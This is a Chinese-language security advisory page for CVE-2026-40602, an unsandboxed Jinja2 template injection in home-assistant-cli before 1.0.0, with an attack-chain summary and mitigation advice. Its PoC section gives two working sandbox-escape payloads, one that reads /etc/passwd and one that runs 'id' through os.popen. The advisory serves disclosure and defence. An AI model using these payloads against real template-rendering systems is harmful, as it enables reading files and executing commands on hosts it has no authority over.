IPBUF安全漏洞报告
English
CVE-2026-40602 CVSS 5.6 中危

CVE-2026-40602 Home Assistant CLI模板注入漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40602
漏洞类型
模板注入 (SSTI)
CVSS评分
5.6 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
home-assistant-cli

相关标签

SSTI模板注入Home Assistant沙箱逃逸代码执行

漏洞概述

Home Assistant命令行接口(hass-cli)在1.0.0版本之前存在严重的安全缺陷。该工具在处理用户提供的Jinja2模板时,错误地使用了不受限制的环境,而非预期的沙箱环境。这导致用户输入在本地被无限制地渲染,使得攻击者能够访问Python内部功能,从而扩展了模板的使用范围并造成了安全隐患。该问题已在1.0.0版本中得到修复。

技术细节

该漏洞的核心原理在于Jinja2模板引擎的沙箱隔离机制失效。在受影响的home-assistant-cli版本中,系统直接调用了标准的Jinja2渲染环境来处理用户输入,未对可访问的Python对象和方法进行限制。攻击者可以利用这一缺陷,构造恶意的模板Payload(如访问`__class__`、`__mro__`、`__globals__`等魔术方法),从而跳出模板逻辑,直接调用Python的底层API或执行任意代码。尽管CVSS向量要求高权限(PR:H)和本地访问(AV:L),且需要用户交互(UI:R),但成功利用可导致高机密性影响(C:H)和高完整性影响(I:H),攻击者可读取敏感文件或篡改系统数据。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获得目标系统上Home Assistant CLI的高权限本地访问权限。
STEP 2
2. 识别交互点
攻击者寻找CLI中接受用户输入并使用Jinja2进行渲染的功能或命令。
STEP 3
3. 注入恶意Payload
攻击者构造特制的Jinja2模板字符串,旨在访问Python内部对象(如os模块),并将其作为输入提交。
STEP 4
4. 非沙箱渲染
由于缺陷,CLI在非沙箱环境下渲染该模板,解析并执行了恶意Payload中的Python代码。
STEP 5
5. 达成攻击效果
攻击者成功读取敏感文件或执行系统命令,导致数据泄露或完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40602: Jinja2 SSTI in home-assistant-cli # The vulnerability allows accessing Python's internals due to lack of sandboxing. # Malicious Jinja2 template payload to read a file (e.g., /etc/passwd) payload_read = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /etc/passwd').read() }}" # Malicious payload to execute a command (e.g., id) payload_exec = "{{ config.__class__.__init__.__globals__['builtins'].__import__('os').popen('id').read() }}" # Note: The exact index of subclasses may vary depending on the Python version. # The key takeaway is that the unrestricted environment allows accessing 'os' and 'sys' modules.

影响范围

home-assistant-cli < 1.0.0

防御指南

临时缓解措施
如果无法立即升级,应严格限制对home-assistant-cli命令行工具的访问,确保只有受信任的高级用户才能执行涉及模板渲染的操作。同时,应监控系统的异常进程调用和文件访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表